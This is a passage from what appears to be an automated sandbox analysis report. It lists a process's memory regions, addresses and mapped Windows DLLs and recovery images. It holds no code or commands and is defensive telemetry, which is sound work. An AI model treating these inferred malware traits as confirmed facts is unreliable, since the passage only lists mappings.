0x2650000 end_va = 0x268ffff entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 513 start_va = 0x2690000 end_va = 0x278ffff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 514 start_va = 0x2790000 end_va = 0x27cffff entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 515 start_va = 0x27d0000 end_va = 0x28cffff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 516 start_va = 0x28d0000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 517 start_va = 0x2910000 end_va = 0x2a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 518 start_va = 0x7fea1000 end_va = 0x7fea3fff entry_point = 0x0 region_type = private name = "private_0x000000007fea1000" filename = "" Region: id = 519 start_va = 0x7fea4000 end_va = 0x7fea6fff entry_point = 0x0 region_type = private name = "private_0x000000007fea4000" filename = "" Region: id = 520 start_va = 0x7fea7000 end_va = 0x7fea9fff entry_point = 0x0 region_type = private name = "private_0x000000007fea7000" filename = "" Region: id = 521 start_va = 0x741c0000 end_va = 0x7431ffff entry_point = 0x741c0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 522 start_va = 0x73ef0000 end_va = 0x741b0fff entry_point = 0x73ef0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 523 start_va = 0x590000 end_va = 0x590fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 784 start_va = 0x320000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 785 start_va = 0x2a10000 end_va = 0x2a4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 786 start_va = 0x2a50000 end_va = 0x2b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 787 start_va = 0x2b50000 end_va = 0x2b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 788 start_va = 0x2b90000 end_va = 0x2c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b90000" filename = "" Region: id = 789 start_va = 0x7fe9b000 end_va = 0x7fe9dfff entry_point = 0x0 region_type = private name = "private_0x000000007fe9b000" filename = "" Region: id = 790 start_va = 0x7fe9e000 end_va = 0x7fea0fff entry_point = 0x0 region_type = private name = "private_0x000000007fe9e000" filename = "" Region: id = 791 start_va = 0x2c90000 end_va = 0x2ca5fff entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 792 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 793 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 794 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 795 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 796 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 797 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 798 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 799 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 800 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 801 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 802 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 803 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 804 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 805 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 806 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 807 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 808 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 809 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 810 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 811 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 812 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 813 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 814 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 815 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 816 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 817 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 818 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 819 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 820 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 821 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 822 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 823 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 824 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 825 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 826 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 827 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 828 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 829 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 830 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 831 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 832 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 833 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 834 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 835 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 836 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 837 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 838 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 839 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 840 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 841 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 842 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 843 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 844 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 845 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 846 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 847 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 848 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 849 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 850 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 851 start_va = 0x320000 end_va = 0x320fff entry_point = 0x320000 region_type = mapped_file name = "mpr.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mpr.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mpr.dll.mui") Region: id = 852 start_va = 0x74310000 end_va = 0x74318fff entry_point = 0x74310000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll") Region: id = 853 start_va = 0x742c0000 end_va = 0x74303fff entry_point = 0x742c0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 854 start_va = 0x742a0000 end_va = 0x742b1fff entry_point = 0x742a0000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll") Region: id = 855 start_va = 0x74280000 end_va = 0x74299fff entry_point = 0x74280000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll") Region: id = 856 start_va = 0x74270000 end_va = 0x7427afff entry_point = 0x74270000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 857 start_va = 0x590000 end_va = 0x593fff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 858 start_va = 0x74260000 end_va = 0x7426ffff entry_point = 0x74260000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 859 start_va = 0x74250000 end_va = 0x7425efff entry_point = 0x74250000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 860 start_va = 0x74240000 end_va = 0x74249fff entry_point = 0x74240000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 861 start_va = 0x74230000 end_va = 0x7423efff entry_point = 0x74230000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 862 start_va = 0x2c90000 end_va = 0x2ccffff entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 863 start_va = 0x2cd0000 end_va = 0x2dcffff entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 864 start_va = 0x2dd0000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 865 start_va = 0x2e10000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 866 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 867 start_va = 0x7fe98000 end_va = 0x7fe9afff entry_point = 0x0 region_type = private name = "private_0x000000007fe98000" filename = "" Region: id = 868 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 869 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 870 start_va = 0x74210000 end_va = 0x74228fff entry_point = 0x74210000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 871 start_va = 0x2f30000 end_va = 0x2f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 872 start_va = 0x2f70000 end_va = 0x306ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f70000" filename = "" Region: id = 873 start_va = 0x3070000 end_va = 0x334cfff entry_point = 0x3070000 region_type = mapped_file name = "boot.sdi" filename = "\\Recovery\\WindowsRE\\boot.sdi" (normalized: "c:\\recovery\\windowsre\\boot.sdi") Region: id = 874 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 875 start_va = 0x3350000 end_va = 0x3350fff entry_point = 0x0 region_type = private name = "private_0x0000000003350000" filename = "" Region: id = 876 start_va = 0x3360000 end_va = 0x3360fff entry_point = 0x0 region_type = private name = "private_0x0000000003360000" filename = "" Region: id = 877 start_va = 0x3370000 end_va = 0x3379fff entry_point = 0x3370000 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui") Region: id = 878 start_va = 0x74200000 end_va = 0x74207fff entry_point = 0x74200000 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\SysWOW64\\dpapi.dll" (normalized: "c:\\windows\\syswow64\\dpapi.dll") Region: id = 879 start_va = 0x2dd0000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 880 start_va = 0x2e10000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 881 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 882 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 883 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 884 start_va = 0x2f10000 end_va = 0x31ecfff entry_point = 0x2f10000 region_type = mapped_file name = "winre.wim" filename = "\\Recovery\\WindowsRE\\Winre.wim" (normalized: "c:\\recovery\\windowsre\\winre.wim") Region: id = 885 start_va = 0x31f0000 end_va = 0x31f0fff entry_point = 0x0 region_type = private name = "private_0x00000000031f0000" filename = "" Region: id = 886 start_va = 0x3200000 end_va = 0x3200fff entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 887 start_va = 0x3210000 end_va = 0x324ffff entry_point = 0x0 region_type = private name = "private_0x0000000003210000" filename = "" Region: id = 888 start_va = 0x3250000 end_va = 0x334ffff entry_point = 0x0 region_type = private name = "private_0x0000000003250000" filename = "" Region: id = 889 start_va = 0x3350000 end_va = 0x3350fff entry_point = 0x0 region_type = private name = "private_0x0000000003350000" filename = "" Region: id = 890 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 891 start_va = 0x3360000 end_va = 0x3360fff entry_point = 0x0 region_type = private name = "private_0x0000000003360000" filename = "" Region: id = 892 start_va = 0x2f10000 end_va = 0x2f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 893 start_va = 0x2f50000 end_va = 0x304ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f50000" filename = "" Region: id = 894 start_va = 0x3050000 end_va = 0x3050fff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 895 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 896 start_va = 0x3060000 end_va = 0x3060fff entry_point = 0x0 region_type = private name = "private_0x0000000003060000" filename = "" Region: id = 897 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 898 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 899 start_va = 0x2f30000 end_va = 0x2f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 900 start_va = 0x2f70000 end_va = 0x306ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f70000" filename = "" Region: id = 901 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 902 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 903 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 904 start_va = 0x3070000 end_va = 0x30affff entry_point = 0x0 region_type = private name = "private_0x0000000003070000" filename = "" Region: id = 905 start_va = 0x30b0000 end_va = 0x31affff entry_point = 0x0 region_type = private name = "private_0x00000000030b0000" filename = "" Region: id = 906 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 907 start_va = 0x2dd0000 end_va = 0x2dd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 908 start_va = 0x2de0000 end_va = 0x2de0fff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 909 start_va = 0x2dd0000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 910 start_va = 0x2e10000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 911 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 912 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 913 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 914 start_va = 0x2dd0000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 915 start_va = 0x2e10000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 916 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 917 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 918 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 919 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 920 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 921 start_va = 0x2f10000 end_va = 0x2f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 922 start_va = 0x2f50000 end_va = 0x304ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f50000" filename = "" Region: id = 923 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 924 start_va = 0x2dd0000 end_va = 0x2dd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 925 start_va = 0x2de0000 end_va = 0x2de0fff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 926 start_va = 0x2df0000 end_va = 0x2e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 927 start_va = 0x3050000 end_va = 0x314ffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 928 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 929 start_va = 0x2dd0000 end_va = 0x2dd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 930 start_va = 0x2de0000 end_va = 0x2de0fff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 931 start_va = 0x2dd0000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 932 start_va = 0x2e10000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 933 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 934 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 935 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 936 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 937 start_va = 0x2f30000 end_va = 0x2f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 938 start_va = 0x2f70000 end_va = 0x306ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f70000" filename = "" Region: id = 939 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 940 start_va = 0x2dd0000 end_va = 0x2dd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 941 start_va = 0x3070000 end_va = 0x30affff entry_point = 0x0 region_type = private name = "private_0x0000000003070000" filename = "" Region: id = 942 start_va = 0x30b0000 end_va = 0x31affff entry_point = 0x0 region_type = private name = "private_0x00000000030b0000" filename = "" Region: id = 943 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 944 start_va = 0x2de0000 end_va = 0x2de0fff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 945 start_va = 0x2dd0000 end_va = 0x2dd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 946 start_va = 0x2de0000 end_va = 0x2de0fff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 947 start_va = 0x2dd0000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 948 start_va = 0x2e10000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 949 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 950 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 951 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 952 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 953 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 954 start_va = 0x2f30000 end_va = 0x2f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 955 start_va = 0x2f70000 end_va = 0x306ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f70000" filename = "" Region: id = 956 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 957 start_va = 0x2dd0000 end_va = 0x2dd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 958 start_va = 0x3070000 end_va = 0x30affff entry_point = 0x0 region_type = private name = "private_0x0000000003070000" filename = "" Region: id = 959 start_va = 0x30b0000 end_va = 0x31affff entry_point = 0x0 region_type = private name = "private_0x00000000030b0000" filename = "" Region: id = 960 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 961 start_va = 0x2de0000 end_va = 0x2de0fff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 962 start_va = 0x2dd0000 end_va = 0x2dd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 963 start_va = 0x2de0000 end_va = 0x2de0fff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 964 start_va = 0x2dd0000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 965 start_va = 0x2e10000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 966 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 967 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 968 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 969 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 970 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 971 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 972 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 973 start_va = 0x2f30000 end_va = 0x2f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 974 start_va = 0x2f70000 end_va = 0x306ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f70000" filename = "" Region: id = 975 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 976 start_va = 0x2dd0000 end_va = 0x2dd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 977 start_va = 0x2de0000 end_va = 0x2de0fff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 978 start_va = 0x2dd0000 end_va = 0x2e0ffff 